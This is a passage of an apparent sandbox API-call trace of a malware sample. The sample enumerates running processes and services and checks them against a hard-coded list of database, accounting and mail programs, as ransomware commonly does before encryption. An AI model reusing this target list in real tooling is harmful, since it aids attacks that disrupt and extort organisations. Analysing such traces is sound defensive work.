[0149.671] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0149.671] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0149.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0149.672] lstrlenW (lpString="PcaSvc") returned 6 [0149.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0149.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0149.672] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0149.672] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0149.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0149.672] lstrlenW (lpString="PlugPlay") returned 8 [0149.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0149.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0149.672] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0149.672] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0149.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0149.672] lstrlenW (lpString="Power") returned 5 [0149.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0149.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0149.672] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0149.672] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0149.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0149.672] lstrlenW (lpString="ProfSvc") returned 7 [0149.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0149.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0149.672] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0149.672] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0149.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0149.672] lstrlenW (lpString="RpcEptMapper") returned 12 [0149.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0149.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0149.672] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0149.673] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0149.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0149.673] lstrlenW (lpString="RpcSs") returned 5 [0149.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0149.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0149.673] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0149.673] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0149.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0149.673] lstrlenW (lpString="SamSs") returned 5 [0149.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0149.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0149.673] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0149.673] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0149.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0149.673] lstrlenW (lpString="Schedule") returned 8 [0149.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0149.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0149.673] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0149.673] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0149.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0149.673] lstrlenW (lpString="SENS") returned 4 [0149.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0149.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0149.673] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0149.673] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0149.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0149.673] lstrlenW (lpString="ShellHWDetection") returned 16 [0149.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0149.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0149.674] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0149.674] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0149.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0149.674] lstrlenW (lpString="Spooler") returned 7 [0149.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0149.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0149.674] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0149.674] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0149.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0149.674] lstrlenW (lpString="SysMain") returned 7 [0149.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0149.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0149.674] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0149.674] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0149.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0149.674] lstrlenW (lpString="Themes") returned 6 [0149.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0149.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0149.674] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0149.674] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0149.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0149.674] lstrlenW (lpString="TrkWks") returned 6 [0149.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0149.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0149.674] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0149.674] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0149.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0149.674] lstrlenW (lpString="UxSms") returned 5 [0149.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0149.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0149.675] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0149.675] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0149.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0149.675] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8f0da0 | out: hHeap=0x880000) returned 1 [0149.675] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1dc [0149.678] Process32FirstW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0149.678] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0149.678] lstrlenW (lpString="System") returned 6 [0149.678] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0149.678] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0149.679] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0149.679] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0149.679] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0149.679] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0149.679] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0149.679] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0149.679] lstrlenW (lpString="smss.exe") returned 8 [0149.679] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0149.679] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0149.679] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0149.679] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0149.679] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0149.679] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0149.679] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0149.679] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0149.680] lstrlenW (lpString="csrss.exe") returned 9 [0149.680] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0149.680] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0149.680] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0149.680] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0149.680] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0149.680] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0149.680] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0149.680] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0149.680] lstrlenW (lpString="wininit.exe") returned 11 [0149.680] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0149.680] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0149.680] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0149.680] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0149.681] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0149.681] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0149.681] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0149.681] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0149.681] lstrlenW (lpString="csrss.exe") returned 9 [0149.681] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0149.681] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0149.681] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0149.681] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0149.681] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0149.681] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0149.681] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0149.681] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0149.682] lstrlenW (lpString="winlogon.exe") returned 12 [0149.682] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0149.682] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0149.682] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0149.682] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0149.682] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0149.682] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0149.682] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0149.682] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0149.682] lstrlenW (lpString="services.exe") returned 12 [0149.682] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0149.682] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0149.682] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0149.682] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0149.682] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0149.683] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0149.683] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0149.683] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0149.683] lstrlenW (lpString="lsass.exe") returned 9 [0149.683] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0149.683] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0149.683] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0149.683] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0149.683] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0149.683] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0149.683] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0149.683] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0149.684] lstrlenW (lpString="lsm.exe") returned 7 [0149.684] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0149.684] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0149.684] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0149.684] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0149.684] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0149.684] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0149.684] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0149.684] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.684] lstrlenW (lpString="svchost.exe") returned 11 [0149.684] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0149.684] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0149.684] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0149.684] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0149.684] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0149.684] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0149.684] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0149.685] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.685] lstrlenW (lpString="svchost.exe") returned 11 [0149.685] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0149.685] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0149.685] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0149.685] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0149.685] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0149.685] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0149.685] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0149.685] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.686] lstrlenW (lpString="svchost.exe") returned 11 [0149.686] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0149.686] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0149.686] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0149.686] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0149.686] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0149.686] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0149.686] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0149.686] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.686] lstrlenW (lpString="svchost.exe") returned 11 [0149.686] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.687] lstrlenW (lpString="svchost.exe") returned 11 [0149.687] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0149.687] lstrlenW (lpString="audiodg.exe") returned 11 [0149.687] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.688] lstrlenW (lpString="svchost.exe") returned 11 [0149.688] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0149.688] lstrlenW (lpString="explorer.exe") returned 12 [0149.688] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0149.689] lstrlenW (lpString="dwm.exe") returned 7 [0149.689] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.689] lstrlenW (lpString="svchost.exe") returned 11 [0149.689] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0149.689] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0149.690] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0149.690] lstrlenW (lpString="spoolsv.exe") returned 11 [0149.690] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0149.690] lstrlenW (lpString="reader_sl.exe") returned 13 [0149.690] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.691] lstrlenW (lpString="svchost.exe") returned 11 [0149.691] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0149.691] lstrlenW (lpString="taskhost.exe") returned 12 [0149.691] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0149.692] CloseHandle (hObject=0x1dc) returned 1 [0149.692] Sleep (dwMilliseconds=0x1f4) [0150.247] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x428b4d8 [0150.254] EnumServicesStatusExW (in: hSCManager=0x428b4d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0150.255] GetLastError () returned 0xea [0150.255] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xd68) returned 0x4241058 [0150.255] EnumServicesStatusExW (in: hSCManager=0x428b4d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4241058, cbBufSize=0xd68, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4241058, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0150.255] CloseServiceHandle (hSCObject=0x428b4d8) returned 1 [0150.255] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0150.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0150.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0150.255] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0150.255] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0150.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0150.255] lstrlenW (lpString="AudioSrv") returned 8 [0150.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0150.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0150.255] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0150.255] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0150.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0150.255] lstrlenW (lpString="BFE") returned 3 [0150.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0150.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0150.256] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0150.256] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0150.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0150.256] lstrlenW (lpString="CryptSvc") returned 8 [0150.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0150.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0150.256] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 